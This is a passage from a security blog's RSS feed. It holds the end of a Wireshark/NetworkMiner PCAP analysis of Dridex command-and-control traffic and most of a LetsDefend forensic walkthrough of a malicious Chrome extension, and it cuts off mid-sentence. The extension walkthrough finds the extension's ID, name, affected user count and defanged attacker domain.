This will list all the hosts within the &lt;em&gt;PCAP&lt;/em&gt; file just like the &lt;em&gt;Endpoints&lt;/em&gt; view in &lt;em&gt;Wireshark&lt;/em&gt; but with the added benefit of some extra information in one tab.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c224bb80642eb45bd0706bb338c332e8_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;206px&#34; data-flex-grow=&#34;86&#34; height=&#34;928&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-malware-compromise-challenge-walkthrough/c224bb80642eb45bd0706bb338c332e8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, while we get some additional information, it isn’t enough to determine which of the two 185 IP addresses is the &lt;em&gt;command-and-control&lt;/em&gt; traffic the challenge wants us to find from our tools alone.&lt;/p&gt;&#xA;&lt;p&gt;Let’s pivot and try to enrich our data by using a straightforward process of elimination by checking &lt;em&gt;VirusTotal&lt;/em&gt; for any intelligence about each of the IP addresses…&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3f9c3fcbcc4eb33f07bb8233e9393f60_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1043px&#34; data-flex-grow=&#34;434&#34; height=&#34;184&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-malware-compromise-challenge-walkthrough/3f9c3fcbcc4eb33f07bb8233e9393f60_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;48e61538237f9b9c9382fe62085eff92_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1054px&#34; data-flex-grow=&#34;439&#34; height=&#34;182&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-malware-compromise-challenge-walkthrough/48e61538237f9b9c9382fe62085eff92_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hey, we found something! While this isn’t a definitive test, the 2nd IP address has a few hits on &lt;em&gt;VirusTotal&lt;/em&gt; for malicious activity. For the purposes of this challenge, this will be enough information. Let’s check that we have found the right IP Address!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;677337ab782e05ae29930d5ce9a52e4b_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1521px&#34; data-flex-grow=&#34;633&#34; height=&#34;109&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-malware-compromise-challenge-walkthrough/677337ab782e05ae29930d5ce9a52e4b_MD5.png&#34; width=&#34;691&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Excellent job with the investigation! We successfully analyzed the &lt;em&gt;PCAP&lt;/em&gt; file given to us by the SOC team to complete the &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/network-analysis-malware-compromise-e882f32908&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Network Analysis — Malware Compromise&lt;/strong&gt;&lt;/a&gt; challenge! Now that we understand the scope of the incident, let’s wrap this up.&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Blue Teams Labs Online&lt;/strong&gt;&lt;/a&gt; for hosting this awesome challenge! This was a fantastic opportunity to practice &lt;em&gt;PCAP&lt;/em&gt; analysis, sharpen my skills with &lt;em&gt;Wireshark,&lt;/em&gt; and test out the capabilities of &lt;em&gt;NetworkMiner.&lt;/em&gt; I always find it valuable to get the hands-on practice with these tools to keep my skills sharp for the next time I’ll need to use these tools in the real world.&lt;/p&gt;&#xA;&lt;p&gt;Thank you so much for reading along and working through this investigation with me. I hope that you had as much fun as I did and learned something new, too!&lt;/p&gt;&#xA;&lt;p&gt;Until next week — stay curious!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Wireshark:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.wireshark.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.wireshark.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Network Miner:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.netresec.com/?page=NetworkMiner&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.netresec.com/?page=NetworkMiner&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wireshark Wiki (TCP 3-Way Handshake):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://wiki.wireshark.org/TCP_3_way_handshaking/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://wiki.wireshark.org/TCP_3_way_handshaking/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Malpedia (Dridex):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://malpedia.caad.fkie.fraunhofer.de/details/win.dridex&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://malpedia.caad.fkie.fraunhofer.de/details/win.dridex&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CISA Dridex Malware:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.cisa.gov/news-events/cybersecurity-advisories/aa19-339a&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.cisa.gov/news-events/cybersecurity-advisories/aa19-339a&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Chrome Extension Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/</link>
            <pubDate>Sun, 02 Jun 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/540e14e61bf92ee08d3cc4492939e945_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Chrome Extension Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--chrome-extension-challenge-walkthrough&#34;&gt;LetsDefend — Chrome Extension Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-malicious-chrome-extension-with-db-browser-forsqlite&#34;&gt;Investigating a Malicious Chrome Extension with DB Browser for SQLite&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;320px&#34; data-flex-grow=&#34;133&#34; height=&#34;300&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/540e14e61bf92ee08d3cc4492939e945_MD5.png&#34; width=&#34;400&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/malicious-chrome-extension&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/malicious-chrome-extension&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough!&lt;/p&gt;&#xA;&lt;p&gt;Have you ever wondered how a malicious &lt;em&gt;Google Chrome&lt;/em&gt; extension could be abused, creating a privacy risk for a user? Well we&amp;rsquo;re about to investigate exactly how this can happen by working through the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/malicious-chrome-extension&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Malicious Chrome Extension&lt;/strong&gt;&lt;/a&gt; challenge over on &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;!&lt;/p&gt;&#xA;&lt;p&gt;This is an incident response challenge which has us defenders investigating a &lt;em&gt;Windows&lt;/em&gt; image to determine how the victim&amp;rsquo;s data was exposed. We&amp;rsquo;ll need to review artifacts on the system like the &lt;em&gt;Google Chrome&lt;/em&gt; cache to determine what happened. Sounds like another fun investigation to me!&lt;/p&gt;&#xA;&lt;p&gt;So, whether you&amp;rsquo;re here to learn more about &lt;em&gt;Chrome&lt;/em&gt; cache analysis, check out some new tools, or are just looking for a reference walkthrough for the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/malicious-chrome-extension&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend Malicious Chrome Extension&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;ve stumbled on the right blog.&lt;/p&gt;&#xA;&lt;p&gt;Put on your detective hat and let&amp;rsquo;s have some fun with forensics! Thanks for reading along!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/malicious-chrome-extension&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/malicious-chrome-extension&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The victim found out their private info was out there for everyone to see, and things got worse — the bad guys got into their money stuff, social media, and personal emails. We got an image of his machine so you can tell us what happened.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-id-of-the-malicious-extension&#34;&gt;Question 1: What is the ID of the malicious extension?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s start out by getting familiar with our analysis environment and looking in our &lt;em&gt;Tools&lt;/em&gt; folder. We&amp;rsquo;ll find that there is only one tool: &lt;em&gt;DB Browser for SQLite&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Since we are looking for a malicious extension, we&amp;rsquo;re going to leverage &lt;em&gt;DB Browser&lt;/em&gt; to analyze the victim&amp;rsquo;s local web browser cache and focus on &lt;em&gt;Google Chrome.&lt;/em&gt; If you aren&amp;rsquo;t aware, &lt;em&gt;Chrome&lt;/em&gt; stores some website and browsing data in a cache folder on the local device it&amp;rsquo;s installed on.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;ll point to an excellent cheat sheet from &lt;em&gt;Foxtron Forensics&lt;/em&gt; about the locations and data that are located within the &lt;em&gt;Chrome&lt;/em&gt; cache:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location&#34;  title=&#34;https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Google Chrome History Location | Chrome History Viewer&lt;/strong&gt;&#xA;_Chrome history is mainly stored within SQLite databases located in the Chrome profile folder. Browser History Examiner&amp;hellip;_www.foxtonforensics.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;With that background, let&amp;rsquo;s open &lt;em&gt;DB Browser&lt;/em&gt;. We&amp;rsquo;ll want to select &lt;em&gt;Open Database&lt;/em&gt; and navigate to the victim&amp;rsquo;s &lt;em&gt;Google Chrome Cache&lt;/em&gt; folder within the challenge file.&lt;/p&gt;&#xA;&lt;p&gt;/root/Desktop/ChallengeFile/Extension/Users/Administrator/AppData/Local/Google/Chrome/User Data&lt;/p&gt;&#xA;&lt;p&gt;Once we navigate to the above file path, we need to select &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;All Files&amp;quot;&#xA;to see the contents of the folder.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;301px&#34; data-flex-grow=&#34;125&#34; height=&#34;637&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/78088caaa5f691d59db2ac3db195603c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll start with the History database which, according to the &lt;em&gt;Foxtron Forensics&lt;/em&gt; article contains:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;Website Visits&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Chrome Website Visits are stored in the €˜&lt;strong&gt;History&lt;/strong&gt;&amp;rsquo; SQLite database, within the €˜&lt;strong&gt;visits&lt;/strong&gt;&amp;rsquo; table. Associated URL information is stored within the €˜&lt;strong&gt;urls&lt;/strong&gt;&amp;rsquo; table.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Now, if we browse through the URLS table, we will find references to several extensions from the &lt;em&gt;Chrome Web Store&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;365px&#34; data-flex-grow=&#34;152&#34; height=&#34;526&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/911736087e32c4852d78c707d47fe73c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Most of these extensions appear to be simple utilities, but the two extensions referencing &lt;em&gt;Netflix&lt;/em&gt; stick out to me, so let&amp;rsquo;s focus on the &lt;em&gt;Netflix Party&lt;/em&gt; app and the &lt;em&gt;Teleparty Premium&lt;/em&gt; extensions.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s do some &lt;em&gt;Google&lt;/em&gt; research and see if we can find any information about the possibility of malicious activity from these extensions, shall we? It doesn&amp;rsquo;t take long to stumble upon the following article from &lt;a class=&#34;link&#34; href=&#34;https://www.popsci.com/technology/chrome-extension-installation-malware-netflix-party/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Popular Science&lt;/em&gt;&lt;/a&gt; about malicious, fake &lt;em&gt;Netflix&lt;/em&gt; extensions with a link to the original research by &lt;em&gt;McAfee.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.popsci.com/technology/chrome-extension-installation-malware-netflix-party/&#34;  title=&#34;https://www.popsci.com/technology/chrome-extension-installation-malware-netflix-party/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;These 5 popular Chrome extensions are compromising your computer&lt;/strong&gt;&#xA;_Time to uninstall if you&amp;rsquo;re one of their collective 1.4 million users._www.popsci.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.popsci.com/technology/chrome-extension-installation-malware-netflix-party/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Very interesting! According to the &lt;a class=&#34;link&#34; href=&#34;https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malicious-cookie-stuffing-chrome-extensions-with-1-4-million-users/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;McAfee&lt;/em&gt;&lt;/a&gt; blog, one of the malicious extension&amp;rsquo;s ID is:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1979px&#34; data-flex-grow=&#34;824&#34; height=&#34;97&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/533dc7b4bbf2c8e3b30a45f6d5872ebf_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Source: &lt;a class=&#34;link&#34; href=&#34;https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malicious-cookie-stuffing-chrome-extensions-with-1-4-million-users/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malicious-cookie-stuffing-chrome-extensions-with-1-4-million-users/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I think we found a match on the victim&amp;rsquo;s device!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;380px&#34; data-flex-grow=&#34;158&#34; height=&#34;235&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/66084b7dd1ad816e9daa70b63b1013b4_MD5.png&#34; width=&#34;373&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1600px&#34; data-flex-grow=&#34;666&#34; height=&#34;120&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/49d3443557218a262e1ff3f2c8779b21_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-name-of-the-malicious-extension&#34;&gt;Question 2: What is the name of the malicious extension?&#xA;&lt;/h3&gt;&lt;p&gt;This one is a bit trickier to find. Remember in &lt;strong&gt;Question 1&lt;/strong&gt; that we saw the &lt;em&gt;Chrome Web Store&lt;/em&gt; name, &lt;em&gt;Netflix Party,&lt;/em&gt; in the History database and in the &lt;em&gt;McAfee&lt;/em&gt; research? This isn&amp;rsquo;t the name of the extension that we are looking for in &lt;strong&gt;Question 2,&lt;/strong&gt; though.&lt;/p&gt;&#xA;&lt;p&gt;So, let&amp;rsquo;s navigate to the extension&amp;rsquo;s local directory and see what else we can find.&lt;/p&gt;&#xA;&lt;p&gt;/root/Desktop/ChallengeFile/Extension/Users/Administrator/AppData/Local/Google/Chrome/User Data/Default/Extensions/mmnbenehknklpbendgmgngeaignppnbe/3.0.0_0/manifest.json&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;357px&#34; data-flex-grow=&#34;148&#34; height=&#34;537&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/aa58e3152ced3b94a41be615047c1f52_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Inside of the extension directory, go ahead and open the &lt;em&gt;manifest.json&lt;/em&gt; file in any plain text editor.&lt;/p&gt;&#xA;&lt;p&gt;But what is the &lt;em&gt;manifest&lt;/em&gt; file, anyway? According to &lt;a class=&#34;link&#34; href=&#34;https://developer.chrome.com/docs/extensions/reference/manifest&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Google&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Every extension must have a &lt;code&gt;_manifest.json_&lt;/code&gt; file in its root directory that lists important information about the structure and behavior of that extension. This page explains the structure of extension manifests and the features they can include.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Unfortunately, the name in the &lt;em&gt;manifest.json&lt;/em&gt; is also not what we are looking for this time. Hmmm, let&amp;rsquo;s think creatively and see what else we have available.&lt;/p&gt;&#xA;&lt;p&gt;There is also a _&lt;em&gt;locales&lt;/em&gt; folder in the extension&amp;rsquo;s directory with an &amp;quot; # &amp;ldquo;en&amp;quot;directory for English.&lt;/p&gt;&#xA;&lt;p&gt;/root/Desktop/ChallengeFile/Extension/Users/Administrator/AppData/Local/Google/Chrome/User Data/Default/Extensions/mmnbenehknklpbendgmgngeaignppnbe/3.0.0_0/_locales/en/messages.json&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll get some background on what the &lt;em&gt;messages.json&lt;/em&gt; is from &lt;a class=&#34;link&#34; href=&#34;https://developer.chrome.com/docs/extensions/how-to/ui/localization-message-formats&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Google&lt;/em&gt;&lt;/a&gt; first:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Each internationalized extension has at least one file named &lt;code&gt;messages.json&lt;/code&gt; that provides locale-specific strings.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;In other words, this file is used for translation and localization for different languages including locale-specific strings. Maybe there is a helpful string here for us? Let&amp;rsquo;s open up the &lt;em&gt;messages.json.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;460px&#34; data-flex-grow=&#34;191&#34; height=&#34;417&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/60e0625262e7b6ee20abbd60a03f3533_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Third time&amp;rsquo;s the charm! Let&amp;rsquo;s input extension name (&lt;em&gt;extName&lt;/em&gt;) message from this file and see if we found the correct answer&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1465px&#34; data-flex-grow=&#34;610&#34; height=&#34;131&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/b761a4d8cc32607f61b8de09ec87a164_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-how-many-people-were-affected-by-this-extension&#34;&gt;Question 3: How many people were affected by this extension?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, let&amp;rsquo;s refer to the &lt;em&gt;McAfee&lt;/em&gt; article that we used for &lt;strong&gt;Question 1.&lt;/strong&gt; Fortunately, for us the research has the number of affected users listed in the table.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2157px&#34; data-flex-grow=&#34;898&#34; height=&#34;89&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/d37040dc0e2206e3fe6f8e1244de5b19_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malicious-cookie-stuffing-chrome-extensions-with-1-4-million-users/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malicious-cookie-stuffing-chrome-extensions-with-1-4-million-users/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1401px&#34; data-flex-grow=&#34;583&#34; height=&#34;137&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/bcb1b5a45e442b7c06d5c499e8c936d0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;\&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-is-the-attackers-domainname&#34;&gt;Question 4: What is the attacker&amp;rsquo;s domain name?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we have reviewed the &lt;em&gt;manifest&lt;/em&gt; and &lt;em&gt;messages,&lt;/em&gt; let&amp;rsquo;s see what else is available in the malicious extension&amp;rsquo;s directory. We can see some &lt;em&gt;JavaScript&lt;/em&gt; files, let&amp;rsquo;s have a look at some of these and try to understand what they are doing and see if we can locate the attacker&amp;rsquo;s domain.&lt;/p&gt;&#xA;&lt;p&gt;Based on the &lt;a class=&#34;link&#34; href=&#34;https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malicious-cookie-stuffing-chrome-extensions-with-1-4-million-users/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;McAfee&lt;/em&gt;&lt;/a&gt; research we have some idea of where to look. The blog states:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The manifest.json sets the background page as bg.html. This HTML file loads b0.js and this is responsible for sending the URL being visited and injecting code into the eCommerce sites.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;B0.js&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The b0.js script contains many functions. This blog will focus on the functions which are responsible for sending the visited URLs to the server and processing the response.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s turn our attention to &lt;strong&gt;b0.js&lt;/strong&gt; and look more closely for ourselves.&lt;/p&gt;&#xA;&lt;p&gt;/root/Desktop/ChallengeFile/Extension/Users/Administrator/AppData/Local/Google/Chrome/User Data/Default/Extensions/mmnbenehknklpbendgmgngeaignppnbe/3.0.0_0/b0.js&lt;/p&gt;&#xA;&lt;p&gt;Since we are looking for a domain name, we&amp;rsquo;ll try something simple and just use the &lt;em&gt;find&lt;/em&gt; function to search for &lt;strong&gt;https://&lt;/strong&gt; to see if we can find it that way&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;564px&#34; data-flex-grow=&#34;235&#34; height=&#34;340&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/5d0100058df876044becc93633444c39_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay, we&amp;rsquo;ve found something — a variable, &lt;strong&gt;e&lt;/strong&gt;, defined as: &lt;strong&gt;hxxps://a1l4m[.]000webhostapp[.]com&lt;/strong&gt; (&lt;em&gt;defanged for safety, of course!&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;p&gt;This variable is consistent with the details in the &lt;em&gt;McAfee&lt;/em&gt; article. While our victim&amp;rsquo;s version of the extension has a different URL than the 